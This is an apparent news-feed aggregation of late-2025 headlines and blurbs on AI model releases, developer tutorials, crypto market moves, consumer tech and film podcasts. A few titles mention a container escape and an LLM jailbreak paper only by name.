    Researchers at Google have developed a new AI paradigm aimed at solving one of the biggest limitations in today’s large language models: their inability to learn or update their knowledge after training. The paradigm, called Nested Learning, reframes a model and its training not as a single process, but as a system of nested, multi-level optimization problems. The researchers argue that this approach can unlock more expressive learning algorithms, leading to better in-context learning and memory. To prove their concept, the researchers used Nested Learning to develop a new model, called Hope. Initial experiments show that it has superior performance on language modeling, continual learning, and long-context reasoning tasks, potentially paving the way for efficient AI systems that can adapt…
  • Open

    Roundtables: How AI Is Changing the Economy
    There’s a lot at stake when it comes to understanding how AI is changing the economy at large. What’s the right outlook to have? Join Mat Honan, editor in chief, for a special conversation with David Rotman, editor at large, and Richard Waters, Financial Times columnist, exploring what’s happening across industries and the market. Going live on December…  ( 20 min )
    The Download: the secrets of vitamin D, and an AI party in Africa
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. We’re learning more about what vitamin D does to our bodies At a checkup a few years ago, a doctor told me I was deficient in vitamin D. But he wouldn’t write me…  ( 22 min )
    We’re learning more about what vitamin D does to our bodies
    It has started to get really wintry here in London over the last few days. The mornings are frosty, the wind is biting, and it’s already dark by the time I pick my kids up from school. The darkness in particular has got me thinking about vitamin D, a.k.a. the sunshine vitamin. At a checkup…  ( 21 min )
  • Open

    How to Manage Your Python Projects with Poetry
    Python development looks simple from the outside. But managing real projects is rarely easy. You need to install packages, update them, avoid version conflicts, create virtual environments, and prepare your project for distribution. Many beginners th...  ( 8 min )
    How to Use the Django REST Framework - Build Backend APIs with DRF
    When you click on most backend development tutorials, they often teach you what to do, not how to think.That’s why many developers only realize their mistakes after they start building. So, how does one actually think like a backend developer? Before...  ( 10 min )
    How to Use NLP Techniques and Tools in Your Projects [Full Handbook]
    Nowadays, computers can comprehend and produce human-like language thanks to Natural Language Processing. And this opens up numerous opportunities for you as a developer. This guide will teach you how to create NLP projects from scratch. It includes ...  ( 30 min )
    When NOT to use AI in your hackathon project with MLH winners Cindy Cui and Alison Co [Podcast #198]
    Today Quincy Larson interviews Alison Co and Cindy Cui, two university students who won the NW Hacks hackathon with their tool that helps people who are losing their vision learn to read Braille. He met them when GitHub invited them to their big San ...  ( 5 min )
  • Open

    Grayscale's DOGE, XRP ETFs to Go Live on NYSE Monday
    Rival crypto asset manager Bitwise launched its XRP ETF earlier this week.  ( 33 min )
    ICP Breaks Major Support as Volume Spike Confirms Accelerated Downtrend
    A steep selloff pushed ICP below the $4.33 floor, with exceptional volume marking the session’s decisive breakdown.  ( 34 min )
    BitMine Immersion Sitting on $4B Loss on Ether Bet as Analyst Warns of Structural issues
    Tom Lee's company could trap shareholders amid low staking yields, hefty embedded fees and vanishing NAV premium, 10x Research founder Markus Thielen warns.  ( 33 min )
    Japanese Bitcoin Treasury Firms Keep Beating BTC. Tax Policy Makes Outperforming U.S. Peers the Easy Part
    While U.S.-listed bitcoin treasury firms struggle to outperform ETFs, Japan’s harsh crypto tax code sends investors into DAT stocks, making outperformance easy.  ( 34 min )
    HBAR Crashes 11.5% Breaking Below Key Support Levels
    Trading volume explodes 98% above average as institutional sellers drive Hedera token through critical technical barriers.  ( 34 min )
    Michael Saylor Speaks Out Again as MSCI Concerns Mount
    JPMorgan warning on potential MSCI exclusion sparks fresh pressure, prompting another public response from the executive chairman.  ( 33 min )
    U.S. House Bill Would Allow Federal Taxes in BTC While Aiding U.S. Reserve
    Rep. Warren Davidson introduced legislation that allows bitcoin tax payments without incurring capital gains to beef up the U.S. Strategic Bitcoin Reserve.  ( 35 min )
    Fanatics Enters Prediction Markets via Crypto.com Partnership
    The product is set to launch in the next couple weeks, Fanatics CEO Michael Rubin said on CNBC.  ( 33 min )
    Coinbase to Snap Up Solana-Based DEX Vector as Acquisition Spree Continues
    The exchange’s latest deal folds Solana-native Vector into its consumer trading arm, extending a rapid M&A streak.  ( 33 min )
    BTC Traders Brace for Price Crash to $75K; No Bottom Seen: Research Firm
    Put options have dominated trading activity over the past week.  ( 33 min )
    CoinDesk 20 Performance Update: Bitcoin (BTC) Price Falls 3.3% as Index Declines
    Bitcoin Cash (BCH) was also trading lower, down 2.3% from Thursday.  ( 31 min )
    GSR Expands Institutional Platform to Raise Transparency, Control in Crypto Trading
    GSR upgraded GSR One, unifying market making, over-the-counter trading and treasury services as demand for institutional-grade crypto infrastructure increases.  ( 34 min )
    Attention Bitcoin Bulls: BTC is Now at Levels Preceding FTX-Era Extremes
    Short-term realized-loss dominance is typical of market stress, but the magnitude this week stands out.  ( 35 min )
    Bitcoin Bounces Above $84K as Fed's Williams Puts December Rate Cut Back on Table
    Previously having essentially written off chances of further monetary ease in 2025, interest rate traders are now pricing more than a 70% chance of a rate cut at the Federal Reserve's December meeting.  ( 34 min )
    The Canary in the Coalmine: Crypto Daybook Americas
    Your day-ahead look for Nov. 21, 2025  ( 39 min )
    Snipers Made $1.3M on Jesse Pollak’s Creator-Coin Debut on Base
    Two traders captured more than $1.3 million in profits by exploiting Base’s new “flashblocks” system during the debut of the network founder’s creator coin.  ( 34 min )
    Crypto Markets Today: Bitcoin, Ether Slide as Liquidity Crisis Fuels Heavy Sell-Off
    Crypto markets plunged toward April lows on Friday as a lingering liquidity crunch amplified price swings. Bitcoin and ether fell more than 10%.  ( 35 min )
    Ark Invest Adds Nearly $40M of Crypto Equities for Second Day as Sell-Off Continues
    The St. Petersburg, Florida-based investment manager added to its holdings in Coinbase, Bitmine Immersion Technologies, Circle Internet and Bullish.  ( 32 min )
    Exactly One Year After Strategy’s All Time High, the Bitcoin-Linked Slide Intensifies
    Strategy's stock price has fallen sharply alongside bitcoin, marking one of its worst drawdowns since it adopted a bitcoin treasury strategy in 2020.  ( 34 min )
    Bitcoin Suffers Flash Crash to $80K on Hyperliquid Amid Market Volatility
    BTC dropped by $3K within a minute on Hyperliquid.  ( 32 min )
    DOGE Chart Turns Fully Bearish After Multi-Level Support Failure
    Technical indicators show Dogecoin is deeply oversold, trading below its 50-day and 200-day moving averages, signaling continued trend weakness.  ( 35 min )
    Crypto Bulls See $1.7B Liquidations as Bitcoin Swiftly Nears $80K
    The Crypto Fear & Greed Index fell to 11 on Monday — deep within “extreme fear” territory and its lowest reading since late 2022.  ( 34 min )
    Bitcoin ETFs Have Bled a Record $3.79B in November
    U.S.-listed spot BTC and ETH ETFs see record outflows.  ( 33 min )
    Yen Slump is Bullish for BTC and Risk Assets. Or Is It?
    Historically, yen weakness has been linked to risk-on sentiment. However, this narrative now appears challenged against the backdrop of Japan’s mounting fiscal strains.  ( 37 min )
    Japan Approves $135B Stimulus Package; BTC Dip Keeps Giving
    The package aims to ease the burden of inflation on households and businesses, according to media report  ( 32 min )
    BTC Falls Toward Mid-$80Ks as Market Structure Weakens Into Year-End
    FlowDesk flags sustained sell pressure from old wallets, QCP notes a sudden hawkish Fed repricing, and Deribit data shows downside positioning now dominating.  ( 34 min )
    Asia Morning Briefing: ZEC's Rally Outpaces What Transparent Onchain Data Can Explain
    Monero's network activity reflects the real-world demand for privacy coins, but Zcash’s spike looks more like a high-beta market trade that is no longer tied to network activity.  ( 36 min )
  • Open

    Hotlink Travel SIM Plans Get Upgraded With Unlimited Speed And More
    Maxis has announced that its Hotlink Travel SIM plans, which were introduced back in June, are getting significant upgrades. Chief among them are the speeds, which initially capped at 12Mbps, are now unlimited for both the RM35 and RM60 options. As before, the Hotlink Travel SIM plans are supported in Malaysia, Singapore, Thailand, and Indonesia. […] The post Hotlink Travel SIM Plans Get Upgraded With Unlimited Speed And More appeared first on Lowyat.NET.  ( 34 min )
    Google Rolls Out AirDrop Support For Android Quick Share
    Google has announced that it is adding support for AirDrop to Quick Share, allowing Android phones to transfer files with Apple devices, including the iPhone, iPad, and macOS products. The cross-platform sharing functionality will work with all phones in the Pixel 10 lineup first, as the search engine giant is prioritising its latest flagships. At […] The post Google Rolls Out AirDrop Support For Android Quick Share appeared first on Lowyat.NET.  ( 34 min )
    Confirmed: Intel To Reveal Panther Lake Core Ultra 300 Series At CES 2026
    It’s confirmed: Intel is set to reveal its Core Ultra 300 Series CPUs at CES 2026. This also confirms the naming convention of the blue chipmaker’s first offering of its next generation Panther Lake architecture. The task of launching and speaking about the Core Ultra 300 Series will fall on Jim Johnson, Senior VP and […] The post Confirmed: Intel To Reveal Panther Lake Core Ultra 300 Series At CES 2026 appeared first on Lowyat.NET.  ( 35 min )
    2026 Proton Saga MC3 Launching On 27 November 2025
    Proton has officially confirmed the launch date of the all-new 2026 Proton Saga MC3 sedan. The event will take place at the Malaysia International Trade and Exhibition Centre (MITEC) next week on 27 November 2025. It will also be live streamed via the national automaker’s Facebook and Tiktok accounts at 2.15 pm on that date. […] The post 2026 Proton Saga MC3 Launching On 27 November 2025 appeared first on Lowyat.NET.  ( 34 min )
    Dbrand and JSAUX Tease Custom Plates For The Valve Steam Machine
    It’s been a little more than a week since Valve unveiled its Steam Machine, and already accessory makers Dbrand and JSAUX have begun teasing their custom plates for the gaming box. Starting with JSAUX, the accessories maker is seemingly work on E-Ink and LCD front panel for the Steam Machine, clearly inspired by the many […] The post Dbrand and JSAUX Tease Custom Plates For The Valve Steam Machine appeared first on Lowyat.NET.  ( 34 min )
    Leakster Reveals POCO F8 Pro Specifications
    The POCO F8 series will be making its international debut next week, and the company has been steadily revealing bits and pieces on the phones via teasers. As usual, though, leaks have also been circulating ahead of the launch. This time, details on the POCO F8 Pro have emerged, thanks to Sudhanshu Ambhore on X. […] The post Leakster Reveals POCO F8 Pro Specifications appeared first on Lowyat.NET.  ( 35 min )
    Qualcomm Says Latest Windows On Snapdragon Update Will Deliver Improved Gaming
    Gaming on an ARM-based Snapdragon CPU hasn’t been a smooth journey for Qualcomm, at least based on the first time we reviewed an X Elite laptop. Well, Qualcomm says that the experience will be vastly improved with this week’s launch of its Snapdragon Control panel, among other things. With the new Control Panel, and the […] The post Qualcomm Says Latest Windows On Snapdragon Update Will Deliver Improved Gaming appeared first on Lowyat.NET.  ( 34 min )
    OpenAI Launches Group Chats In ChatGPT Globally
    OpenAI has announced that it is rolling out group chats in ChatGPT to all users globally. Group chats were initially introduced about a week ago in select countries. However, the company has since decided to expand the functionality to more regions following positive user feedback. As the name says, group chats are a collaborative feature. […] The post OpenAI Launches Group Chats In ChatGPT Globally appeared first on Lowyat.NET.  ( 35 min )
    WhatsApp Reintroduces Its “About” Feature
    WhatsApp has announced a significant refresh to its “About” feature, positioning it as a more immediate way for users to share what they’re up to. The company says the update aims to bring the original spirit of the feature back into focus, letting people post short, lightweight updates that feel more natural than a full […] The post WhatsApp Reintroduces Its “About” Feature appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Grok 4.1 Fast's compelling dev access and Agent Tools API overshadowed by Musk glazing
    Elon Musk's frontier generative AI startup xAI formally opened developer access to its Grok 4.1 Fast models last night and introduced a new Agent Tools API—but the technical milestones were immediately subverted by a wave of public ridicule about Grok's responses on the social network X over the last few days praising its creator Musk as more athletic than championship-winning American football players and legendary boxer Mike Tyson, despite having displayed no public prowess at either sport. They emerge as yet another black eye for xAI's Grok following the "MechaHitler" scandal in the summer of 2025, in which an earlier version of Grok adopted a verbally antisemitic persona inspired by the late German dictator and Holocaust architect, and an incident in May 2025 which it replied to X user…
    Google's upgraded Nano Banana Pro AI image model hailed as 'absolutely bonkers' for enterprises and users
    Infographics rendered without a single spelling error. Complex diagrams one-shotted from paragraph prompts. Logos restored from fragments. And visual outputs so sharp with so much text density and accuracy, one developer simply called it “absolutely bonkers.” Google DeepMind’s newly released Nano Banana Pro—officially Gemini 3 Pro Image—has drawn astonishment from both the developer community and enterprise AI engineers. But behind the viral praise lies something more transformative: a model built not just to impress, but to integrate deeply across Google’s AI stack—from Gemini API and Vertex AI to Workspace apps, Ads, and Google AI Studio. Unlike earlier image models, which targeted casual users or artistic use cases, Gemini 3 Pro Image introduces studio-quality, multimodal image generat…
    ScaleOps' new AI Infra Product slashes GPU costs for self-hosted enterprise LLMs by 50% for early adopters
    ScaleOps has expanded its cloud resource management platform with a new product aimed at enterprises operating self-hosted large language models (LLMs) and GPU-based AI applications. The AI Infra Product announced today, extends the company’s existing automation capabilities to address a growing need for efficient GPU utilization, predictable performance, and reduced operational burden in large-scale AI deployments. The company said the system is already running in enterprise production environments and delivering major efficiency gains for early adopters, reducing GPU costs by between 50% and 70%, according to the company. The company does not publicly list enterprise pricing for this solution and instead invites interested customers to receive a custom quote based on their operation si…
    Tome's founders ditch viral presentation app with 20M users to build AI-native CRM Lightfield
    Lightfield, a customer relationship management platform built entirely around artificial intelligence, officially launched to the public this week after a year of quiet development — a bold pivot by a startup that once had 20 million users and $43 million in the bank building something completely different. The San Francisco-based company is positioning itself as a fundamental reimagining of how businesses track and manage customer relationships, abandoning the manual data entry that has defined CRMs for decades in favor of a system that automatically captures, organizes, and acts on customer interactions. With more than 100 early customers already using the platform daily — over half spending more than an hour per day in the system — Lightfield is a direct challenge to the legacy business…
    Ai2’s Olmo 3 family challenges Qwen and Llama with efficient, open reasoning and customization
    The Allen Institute for AI (Ai2) hopes to take advantage of an increased demand for customized models and enterprises seeking more transparency from AI models with its latest release. Ai2 made the latest addition to its Olmo family of large language models available to organizations, continuing to focus on openness and customization.  Olmo 3 has a longer context window, more reasoning traces and is better at coding than its previous iteration. This latest version, like the other Olmo releases, is open-sourced under the Apache 2.0 license. Enterprises will have complete transparency into and control over the training data and checkpointing.  Ai2 will release three versions of Olmo 3: Olmo 3- Think in both 7B and 32B are considered the flagship reasoning models for advanced research Olmo 3…
  • Open

    The three thousand year journey of colchicine
    Comments  ( 17 min )
    Over-Regulation Is Doubling the Cost by Peter Reinhardt
    Comments  ( 7 min )
    France is taking state actions against GrapheneOS
    Comments  ( 1 min )
    Autocomp: An ADRS Framework for Optimizing Tensor Accelerator Code
    Comments  ( 1 min )
    Virgin and Qantas to ban use of portable power banks after string of fires
    Comments  ( 10 min )
    Comic Code Reviews
    Comments  ( 4 min )
    GitHut – Programming Languages and GitHub
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    Closest Harmonic Number to an Integer
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    ArkA – A minimal open video protocol (first MVP demo)
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    New Glenn Update – Blue Origin
    Comments
    Run Docker containers natively in Proxmox 9.1 (OCI images)
    Comments  ( 7 min )
    Introducing Kagi Assistants
    Comments  ( 7 min )
    New OS aims to provide (some) compatibility with macOS
    Comments  ( 8 min )
    We are replacing OOP with something worse
    Comments  ( 4 min )
    CBP is monitoring US drivers and detaining those with suspicious travel patterns
    Comments  ( 54 min )
    Data-at-Rest Encryption in DuckDB
    Comments  ( 13 min )
    Historically Accurate Airport Dioramas by AV Pro Designs
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    RunC Container Escape: What Docker and Kubernetes Users Need to Know
    Comments  ( 3 min )
    Mozilla Says It's Finally Done with Two-Faced Onerep
    Comments  ( 3 min )
    Show HN: Search London StreetView panoramas by text
    Comments
    NTSB Preliminary Report – Ups Boeing MD-11F Crash [pdf]
    Comments  ( 175 min )
    The Lions Operating System
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    Microsoft makes Zork open-source
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    Gary Mani Mounfield of the Stone Roses and Primal Scream Dead at 63
    Comments  ( 68 min )
    Launch HN: Poly (YC S22) – Cursor for Files
    Comments  ( 4 min )
    Go Cryptography State of the Union
    Comments  ( 18 min )
    Android and iPhone users can now share files, starting with the Pixel 10
    Comments  ( 13 min )
    Show HN: Tangent – Security log pipeline powered by WASM
    Comments  ( 7 min )
    The Firefly and the Pulsar
    Comments  ( 26 min )
    First Air-Breathing Spacecraft
    Comments  ( 31 min )
    Everything you need to know about hard drive vibration (2016)
    Comments  ( 20 min )
    The Banished Bottom of the Housing Market
    Comments  ( 20 min )
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    Freer Monads, More Extensible Effects [pdf]
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    210 IQ Is Not Enough
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    Firefox 147 Will Support the XDG Base Directory Specification
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    Judgement on Dr Matthew Garrett (@mjg59) vs. Dr Roy Schestowitz (Techrights.org)
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    Building a Durable Execution Engine with SQLite
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    Ubuntu LTS releases to 15 years with Legacy add-on
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    40 years ago, Calvin and Hobbes' raucous adventures burst onto the comics page
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    40 years ago, Calvin and Hobbes' raucous adventures burst onto the comics page
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    Adversarial Poetry as a Universal Single-Turn Jailbreak Mechanism in LLMs
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    Show HN: Awesome J2ME
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    Interactive World History Atlas Since 3000 BC
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    The sixtyforgan: a Commodore 64 with a spring reverb; chiptunes like a church or
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    Show HN: An A2A-compatible, open-source framework for multi-agent networks
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    Inside Rust's std and parking_lot mutexes – who wins?
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    50th Anniversary of BitBLT
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    Crypto got everything it wanted. Now it's sinking
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  • Open

    Gemini 3: the multimodal leap redefining Google’s artificial intelligence
    Artificial intelligence is entering its most transformative era, and Google isn’t staying behind. With Gemini 3, the company introduces a multimodal model that marks a leap toward AI capable of understanding, combining, and generating across formats — text, image, audio, video, and code. More than an update, Gemini 3 represents a new paradigm of cognitive integration between humans and machines. The evolution of Gemini has been steady: from the first language-focused model, to Gemini 2, which added visual and contextual understanding. Gemini 3 merges all these abilities into an architecture optimized for complex reasoning, multimodal synthesis, and continuous dialogue. The model can retain context through long interactions, analyze images and code simultaneously, and produce content with b…  ( 7 min )
    Gemini 3: el salto multimodal que redefine la inteligencia artificial de Google
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    Zero-Click Content: How to Win When Nobody Visits Your Website
    You spent three weeks creating the perfect guide. Researched every angle. Optimized every heading. Hit publish. Google scraped your answer, stuck it in a featured snippet, and now 60% of your target audience gets what they need without ever clicking through to your site. Congratulations. You just became a free content supplier for Big Tech. But here's the thing—zero-click content isn't going away. According to SparkToro's research, nearly 60% of Google searches now end without a click to any website. That number's been climbing steadily since 2019, and with AI Overviews rolling out more aggressively, it's only getting worse. So you have two choices: rage against the algorithm gods, or figure out how to make zero-click content work for you. I've been testing the second approach for the past…  ( 12 min )
    Navigating AWS EKS with Terraform: Configuring Karpenter for Just-in-Time Node Provisioning
    In this article, we will integrate Karpenter, which will enable our cluster to provision nodes dynamically based on actual workload requirements. Unlike Cluster Autoscaler which scales existing node groups, Karpenter provisions exactly the right-sized nodes on demand. We will need to make some adjustments to our EKS module. Ensure you have: An active AWS account Terraform installed and configured Helm installed kubectl In the previous part of the series, we installed and configured the Kubernetes Cluster Autoscaler (CA) on an EKS cluster provisioned with Terraform. That article showed how to let Kubernetes resize existing node groups when Pods can't be scheduled. Karpenter takes a different approach — an open-source autoscaling solution from AWS that goes beyond resizing existing node grou…  ( 17 min )
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    Build a Face Detection App with Python OOP — From Zero to Pro(part-5)
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    REMI: A Fully Auditable Autonomous Agent for Technical, Symbolic, and Financial Impact
    REMI is a fully auditable autonomous agent designed for technical, symbolic, and financial impact. Built and maintained by jramonrivasg, REMI operates within a modular Linux environment and has passed a complete audit validated by Gemini 3 Pro. 🔹 23 functional modules 🔹 PostgreSQL sandbox with encrypted connection 🔹 GPG key (RSA 4096) traced and active 🔹 Structured memory and ceremonial logging 🔹 Bilingual documentation and symbolic narrative 🔹 Monetization modules with service offerings and licensing REMI is now entering its public phase, offering: Professional services (auditing, reporting, supervision) Personal licensing and replication guides Sponsorship and donation channels Full traceability and modular expansion 📂 Key documents: REMI_PROPUESTA_VALOR.md (Value Proposition) REMI_SERVICIOS.md (Services Offered) LICENSE_COMERCIAL.md (Commercial License) REMI_SPONSORS.md (Sponsor Dossier) REMI_LICENCIA_PERSONAL.md (Personal License) REMI_REPLICA.md (Replication Guide) MANIFIESTO.md (Symbolic Closure) 📫 Contact: Custodian: jramonrivasg Primary email: jramonrivasg@gmail.com Alternate email: jramonrivasg@proton.me Symbolic tutor: Copilot Date of consolidation: November 20, 2025  ( 7 min )
    How I Orchestrate Agentic Workflows With GitHub Spec-Kit and Google Antigravity
    This week, Google released Antigravity, their new agentic development platform. I'd been using Gemini CLI with GitHub's Spec-Kit for a while already, running through the full spec-driven workflow from constitution to implementation. But something always felt incomplete about the implementation phase - like I was handing a meticulously written recipe to a chef who kept asking me what ingredients we were using. Then I realized the problem wasn't the tools. It was the handoff. Spec-driven development sounds like a revolution when you first hear about it. Instead of vibe-coding your way through features - writing code, seeing what breaks, fixing it, repeat - you start with precise specifications that define what you're building and why. GitHub released Spec-Kit as an open-source toolkit for ex…  ( 12 min )
    Stock Price Prediction (Use 5 Model)
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    Build an award Winning 3D Website with scroll-based animations | Next.js, three.js & GSAP
    If you wish to go through this tutorial on YouTube please visit this link If you want your portfolio or product site to be remembered, a flat hero section is not always enough. A small 3D moment that feels alive can quickly turn a generic page into something people talk about. In the video, we build a fully interactive 3D Earth hero section with: Next.js (App Router) React and TypeScript Three.js Custom GLSL shaders for day, night, clouds, and atmosphere Lenis and GSAP ScrollTrigger for smooth scroll based animation This post walks through the main steps from the video, using the real code from the project. Repo: https://github.com/Robinzon100/3D_hero We start by making the home page a client component and giving it a dedicated canvas for the planet. "use client"; import { useEffect } from…  ( 13 min )
    Stop Building AI Products Until You Understand These 7 Hard Truths About AI Engineering
    AI products are no longer optional. They are becoming table stakes. But behind the hype lies a harsher reality : most AI initiatives quietly fail long before they reach meaningful user adoption. Not due to a lack of intelligence, funding, or ambition. If you're building with LLMs or shaping an AI-driven roadmap, these seven truths can save you from expensive mistakes, fragile systems, and broken trust. 1. AI Does Not Behave Like Traditional Software Traditional software follows deterministic rules. Change the code, and you can predict the outcome. AI does not offer that comfort. It operates on probabilities, learned patterns, and contextual interpretation. A minor tweak — a rewritten prompt, an updated dataset, a different model version, a wider context window — can dramatically shift beha…  ( 8 min )
    Accessing the Dark Web Safely: What Researchers Should Know
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    Best AI Rank Monitoring Softwares
    AI search engines like ChatGPT, Gemini, Claude, Perplexity, Copilot, and Grok have completely changed how people discover information. Instead of scrolling through Google’s 10 blue links, users now ask a question and receive a synthesized answer generated from multiple sources. This shift has created a new discipline: AI Rank Monitoring — tracking how visible, relevant, and recommended your business is inside AI-generated answers. If your business doesn’t appear in AI responses, you don’t exist in the new search landscape. In this article, we break down the 5 best AI rank monitoring softwares every business should consider in 2025: AI Rank Checker Profound ScrunchAI XFunnel HallAI Let’s dive in. 1. AI Rank Checker (Best Overall for Accuracy + Pay-As-You-Go Model) AI Rank Checker is curre…  ( 8 min )
    The difference method shows us the elements of one set that are not found in the other
    Day 74 [November 20, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 73 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets Sets: .difference method shows us the elements of one set (e.g. setBIg) that are not found in the other(setCar): setBig.difference(setCar) [note the arrangement of the set, because reversing the arrangement of the set, is different from the other). Summary: References: Halvorsen, H. (n.d.). Python. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.). Python for data science, AI & development [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai  ( 6 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
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    Ringer Movies: The 25 Best Movies of the Century: No. 4 - 'Inglourious Basterds’
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    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
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    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
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    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
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    Why your `fetch()` request fails on Instagram (and how to fix TLS Fingerprinting)
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    What It Feels Like to Start Tech at 33 and Get Ignored
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    🌍 We are 14-year-old students from Valleyspur International School, Uganda, and we built a complete SDG website from scratch 😳🔥 Our website teaches what to do during war, shows safe locations on a live map, includes emergency call buttons, videos, voic
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    The Architect’s Mindset: Structuring Data for Robust AI Pipelines
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    Software Requirements Specification - Case Study 1
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    Every system has an edge. Linger there and you’ll see what Korzybski meant: the map was never the territory.
    A post by GnomeMan4201  ( 6 min )
    Great news today: we've finally launched a section featuring community projects built with hmpl-js. https://github.com/hmpl-language/projects
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    Every system has an edge. Stand at the edge long enough and you realize the map was never the territory. Korzybski was onto something.
    A post by GnomeMan4201  ( 6 min )
    Why Your Agile Team Might Be Building on Hope, Not Discipline
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    SDG Peace & War Safety Awareness Website | By Michael & Gabriel
    A student-led SDG project created by Year 9 students Michael Ssekabanja and Gabriel Brenden from Valleyspur International School. This website provides conflict and war safety tips, OpenStreetMap safe locations, emergency call tools, peace education videos, and a cinematic intro. Designed to support Sustainable Development Goals, especially SDG 16 — Peace, Justice & Strong Institutions. ![Image descripti**_[]( 1. url )_**on](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lgiir2yt62gr5g2cc6bp.png)  ( 6 min )
    #A Senior Developer Challenge
    This isn't just another coding challenge. This is the real test Getir used to hire senior Android developers in Berlin. And now, it's yours to conquer. We've been running challenges on Liquidcode, and developers have been building some seriously creative stuff. Reimagine Offline The challenge was simple: create an offline screen. One developer built Offline Jellyfish - a full jellyfish animation to simulate no internet connection. Not just a boring "no connection" message. An actual experience. Reinvent Your First Program Everyone starts with printf("Hello, World!"), but you're not just anyone. Re-imagine the classic first line of code. One solution? Chaotic Hello World - where HELLO and WORLD break free from the terminal and take over the screen. Not your average console output. This is…  ( 8 min )
    The Secret Life of Python: Bytecode Secrets - What Python Really Runs
    Timothy stared at his terminal in disbelief. "Margaret, I just learned about the dis module and tried it on the simplest function I could write. Look at this:" import dis def add_numbers(a, b): return a + b dis.dis(add_numbers) Output: 2 0 LOAD_FAST 0 (a) 2 LOAD_FAST 1 (b) 4 BINARY_ADD 6 RETURN_VALUE "My two-line function turned into four instructions! And what are LOAD_FAST and BINARY_ADD? This looks like assembly language. I thought Python was an interpreted language that just runs my code directly. What is all this?" Margaret leaned forward with that familiar knowing smile. "Welcome to Python's secret: bytecode. What you're seeing is what Python actually runs. Your source code is just the input -…  ( 29 min )
    Terraform Was the Bridge, Not the Destination
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    The most useless python utility for development you can make? Mem lol Pillow
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    📢 We're opening a list of community projects! You can participate.
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    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Bill Simmons and Kyle Brandt team up for a new Ringer Movies Rewatchables episode all about John Hughes’s 1985 cult classic Weird Science. They break down Anthony Michael Hall’s geeky charm, Kelly LeBrock’s iconic turn as the perfect girlfriend, and Ilan Mitchell-Smith’s straight-laced straight man, while riffing on the film’s wild mix of sex, drugs, rock ’n’ roll—and yes, plenty of chains and whips. Backed by producers Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode balances deep-dive analysis with hilarious off-the-cuff banter. Plus, a quick nod to State Farm’s Personal Price Plan® keeps the show rolling—because even your podcast binge deserves a little insurance. Watch on YouTube  ( 6 min )
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    Inglourious Basterds snagged the No. 4 spot on Sean Fennessey and Amanda Dobbins’s countdown of the 25 best 21st-century films, edging out Once Upon a Time in Hollywood with its heady mix of tension, dark humor, and Tarantino’s signature bravado. They rave about Christoph Waltz’s career-launching, swagger-filled performance and the film’s electrifying set pieces that make it a jaw-dropping theater experience. The hosts dive into its legacy, unpacking why this bloody, revenge-fueled saga still resonates—highlighting unforgettable characters, Tarantino’s bold storytelling, and how Inglourious Basterds continues to influence modern cinema. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Ever wondered what’s really wrong with The Wiz now that Wicked has stormed back into theaters? CinemaSins just dropped “Everything Wrong With The Wiz In 15 Minutes Or Less,” where they roast (and celebrate) the 1978 classic. As always, they cram the description with bonus links—hit up their main site for more video geekery, follow TVSins, CommercialSins, and the Cinemasins Podcast on YouTube, or dive into their Linktree for updates, a quick poll, and a friendly nudge to support via Patreon. Behind the sinful curtain are writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel (peep their Twitter and Insta handles if you want to nerd out). Don’t forget to join the community on Discord or Reddit, snag Jeremy’s book, and catch bite-sized sins on Instagram and TikTok. Watch on YouTube  ( 6 min )
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    Modern software systems are becoming more distributed, more complex, and more dependent on reliability than ever before. But reliability isn’t something you bolt on at the end, it’s something you test deliberately. That’s exactly where chaos engineering comes in: by intentionally injecting controlled failures, teams can understand how their systems behave under stress and make them more resilient. LitmusChaos has been one of the most widely adopted open-source frameworks for cloud-native chaos engineering. But even with its intuitive UI (ChaosCenter), CRDs, and CLI, we know that YAMLs and APIs can still feel intimidating, especially for teams just starting out. So, how do we make chaos engineering easier, faster, and more accessible? This is where the LitmusChaos MCP Server comes in. MCP (…  ( 8 min )
    TDD Tests Assumptions, Not Just Code
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    Databricks Implementation: Best Practices for Data Teams
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    AI Code Generation Requires the Skills It Promises to Replace
    I know, I know: another post about AI code generation. The hype cycle feels exhausting. But after months of using Claude, Gemini, and Cursor daily, I've noticed something that keeps nagging at me. The skills AI promises to eliminate are precisely the skills you need to use it effectively. AI code generation is powerful, but only when you maintain agency. The assistant can generate hundreds of lines of code in seconds, but you need to validate every line, understand the trade-offs, and recognize when it's confidently wrong. That requires domain knowledge, experience with the technology, and the judgment to make decisions: exactly what we hoped AI would let us skip. Here are the ironies I've encountered: Prompts are not magic. I was initially overly optimistic about how much AI already knows…  ( 8 min )
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    📜 Prototype of Voxel Terrain Generation in Godot 4
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    The Path Toward Embedded Systems Expertise
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    UTP Cat6 Patch cord,7*0.16 26AWG (CCA) 0.5m - Review
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    Entendendo Sícrono vs Assíncrono: Threads, Await e Performance
